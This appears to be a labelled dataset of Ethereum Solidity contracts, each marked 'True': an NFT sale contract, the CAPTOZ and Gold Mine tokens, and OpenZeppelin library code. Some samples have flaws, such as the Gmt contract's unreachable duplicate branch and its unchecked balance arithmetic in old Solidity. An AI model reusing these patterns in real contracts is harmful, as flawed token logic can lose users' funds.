* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/InBetweeners.sol
pragma solidity >=0.7.0 <0.9.0;
contract InBetweeners is ERC721Enumerable, Ownable {
using Strings for uint256;
string private baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public preSaleCost = 0.27 ether;
uint256 public cost = 0.27 ether;
uint256 public maxSupply = 10777;
uint256 public preSaleMaxSupply = 2300;
uint256 public maxMintAmountPresale = 3;
uint256 public maxMintAmount = 10;
uint256 public nftPerAddressLimitPresale = 3;
uint256 public nftPerAddressLimit = 10000;
uint256 public preSaleDate = 1639589400;
uint256 public preSaleEndDate = 1639675800;
uint256 public publicSaleDate = 1639762200;
bool public paused = true;
bool public revealed = false;
mapping(address => bool) whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setNotRevealedURI(_initNotRevealedUri);
}
//MODIFIERS
modifier notPaused {
require(!paused, "the contract is paused");
_;
}
modifier saleStarted {
require(block.timestamp >= preSaleDate, "Sale has not started yet");
_;
}
modifier minimumMintAmount(uint256 _mintAmount) {
require(_mintAmount > 0, "need to mint at least 1 NFT");
_;
}
// INTERNAL
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function presaleValidations(
uint256 _ownerMintedCount,
uint256 _mintAmount,
uint256 _supply
) internal {
uint256 actualCost;
block.timestamp < preSaleEndDate
? actualCost = preSaleCost
: actualCost = cost;
require(isWhitelisted(msg.sender), "user is not whitelisted");
require(
_ownerMintedCount + _mintAmount <= nftPerAddressLimitPresale,
"max NFT per address exceeded for presale"
);
require(msg.value >= actualCost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmountPresale,
"max mint amount per transaction exceeded"
);
require(
_supply + _mintAmount <= preSaleMaxSupply,
"max NFT presale limit exceeded"
);
}
function publicsaleValidations(uint256 _ownerMintedCount, uint256 _mintAmount)
internal
{
require(
_ownerMintedCount + _mintAmount <= nftPerAddressLimit,
"max NFT per address exceeded"
);
require(msg.value >= cost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmount,
"max mint amount per transaction exceeded"
);
}
//MINT
function mint(uint256 _mintAmount)
public
payable
notPaused
saleStarted
minimumMintAmount(_mintAmount)
{
uint256 supply = totalSupply();
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
//Do some validations depending on which step of the sale we are in
block.timestamp < publicSaleDate
? presaleValidations(ownerMintedCount, _mintAmount, supply)
: publicsaleValidations(ownerMintedCount, _mintAmount);
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function gift(uint256 _mintAmount, address destination) public onlyOwner {
require(_mintAmount > 0, "need to mint at least 1 NFT");
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[destination]++;
_safeMint(destination, supply + i);
}
}
//PUBLIC VIEWS
function isWhitelisted(address _user) public view returns (bool) {
return whitelistedAddresses[_user];
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealed) {
return notRevealedUri;
} else {
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)
)
: "";
}
}
function getCurrentCost() public view returns (uint256) {
if (block.timestamp < preSaleEndDate) {
return preSaleCost;
} else {
return cost;
}
}
//ONLY OWNER VIEWS
function getBaseURI() public view onlyOwner returns (string memory) {
return baseURI;
}
function getContractBalance() public view onlyOwner returns (uint256) {
return address(this).balance;
}
//ONLY OWNER SETTERS
function reveal() public onlyOwner {
revealed = true;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setNftPerAddressLimitPreSale(uint256 _limit) public onlyOwner {
nftPerAddressLimitPresale = _limit;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setPresaleCost(uint256 _newCost) public onlyOwner {
preSaleCost = _newCost;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmountPreSale(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmountPresale = _newmaxMintAmount;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setPresaleMaxSupply(uint256 _newPresaleMaxSupply) public onlyOwner {
preSaleMaxSupply = _newPresaleMaxSupply;
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function setPreSaleDate(uint256 _preSaleDate) public onlyOwner {
preSaleDate = _preSaleDate;
}
function setPreSaleEndDate(uint256 _preSaleEndDate) public onlyOwner {
preSaleEndDate = _preSaleEndDate;
}
function setPublicSaleDate(uint256 _publicSaleDate) public onlyOwner {
publicSaleDate = _publicSaleDate;
}
function whitelistUsers(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
whitelistedAddresses[addresses[i]] = true;
}
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{ value: address(this).balance }(
""
);
require(success);
}
} | True | [
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////////////////////////////////////////////////////////////////////////////////////////
// CAPTOZ Token V3
//
// Inital tokens 100,000,000,000
// 18 decimal places
//
// Ropsten: 0xb3f2288397ab31a4c3a00c0ed43b0b91742b9e33
// Mainnet: 0x08a41ce962d328418f21ccb39d49df5ea974c8ac
////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.4.24;
contract owned {
string Version = "Version 3";
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract CAPTOZ is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() TokenERC20(100000000000, "CAPTOZ Token", "CAPTOZ") public {
buyPrice = 186800000000000;
sellPrice = 186800000000000;
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Get the current buy and sell prices
function getPrices() public view returns(uint256, uint256) {
return (sellPrice, buyPrice);
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
require(buyPrice > 0); // not allowed if the buyPrice is 0
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(address(this).balance > amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
function version() view public returns(string) {
return Version;
}
function () public payable { }
function reclaim(address target, uint256 amount) public onlyOwner {
uint txAmount = amount > 0 && amount <= address(this).balance
? amount
: address(this).balance;
require(address(this).balance >= amount);
target.transfer(txAmount);
}
} | True | [
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pragma solidity ^0.4.10;
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract Gmt is SafeMath, StandardToken {
string public constant name = "Gold Mine Token";
string public constant symbol = "GMT";
uint256 public constant decimals = 18;
uint256 private constant tokenBountyCap = 60000*10**decimals;
uint256 private constant tokenCreationCapPreICO = 460000*10**decimals;
uint256 public constant tokenCreationCap = 1200000*10**decimals;
address public constant owner = 0x02baFcF3e3C183103Aa94A248CC512d4DCf10cfa;
// 1 ETH = 250 USD
uint private oneTokenInWeiSale = 5000000000000000; // 0,005 ETH
uint private oneTokenInWei = 10000000000000000; // 0,01 ETH
Phase public currentPhase = Phase.PreICO;
enum Phase {
PreICO,
ICO
}
modifier onlyOwner {
if(owner != msg.sender) revert();
_;
}
event CreateGMT(address indexed _to, uint256 _value);
event Mint(address indexed to, uint256 amount);
function Gmt() {}
function () payable {
createTokens();
}
function createTokens() internal {
if (msg.value <= 0) revert();
if (currentPhase == Phase.PreICO) {
if (totalSupply <= tokenCreationCapPreICO) {
generateTokens(oneTokenInWeiSale);
}
}
else if (currentPhase == Phase.PreICO) {
if (totalSupply > tokenCreationCapPreICO && totalSupply <= tokenCreationCap) {
generateTokens(oneTokenInWei);
}
}
else if (currentPhase == Phase.ICO) {
if (totalSupply > tokenCreationCapPreICO && totalSupply <= tokenCreationCap) {
generateTokens(oneTokenInWei);
}
} else {
revert();
}
}
function generateTokens(uint _oneTokenInWei) internal {
uint multiplier = 10 ** decimals;
uint256 tokens = safeDiv(msg.value, _oneTokenInWei)*multiplier;
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap <= checkedSupply) revert();
balances[msg.sender] += tokens;
totalSupply = safeAdd(totalSupply, tokens);
CreateGMT(msg.sender,tokens);
owner.transfer(msg.value);
}
function changePhaseToICO() external onlyOwner returns (bool){
currentPhase = Phase.ICO;
return true;
}
function createBountyTokens() external onlyOwner returns (bool){
uint256 tokens = tokenBountyCap;
balances[owner] += tokens;
totalSupply = safeAdd(totalSupply, tokens);
CreateGMT(owner, tokens);
}
function changeTokenPrice(uint tpico1, uint tpico) external onlyOwner returns (bool){
oneTokenInWeiSale = tpico1;
oneTokenInWei = tpico;
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-10
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
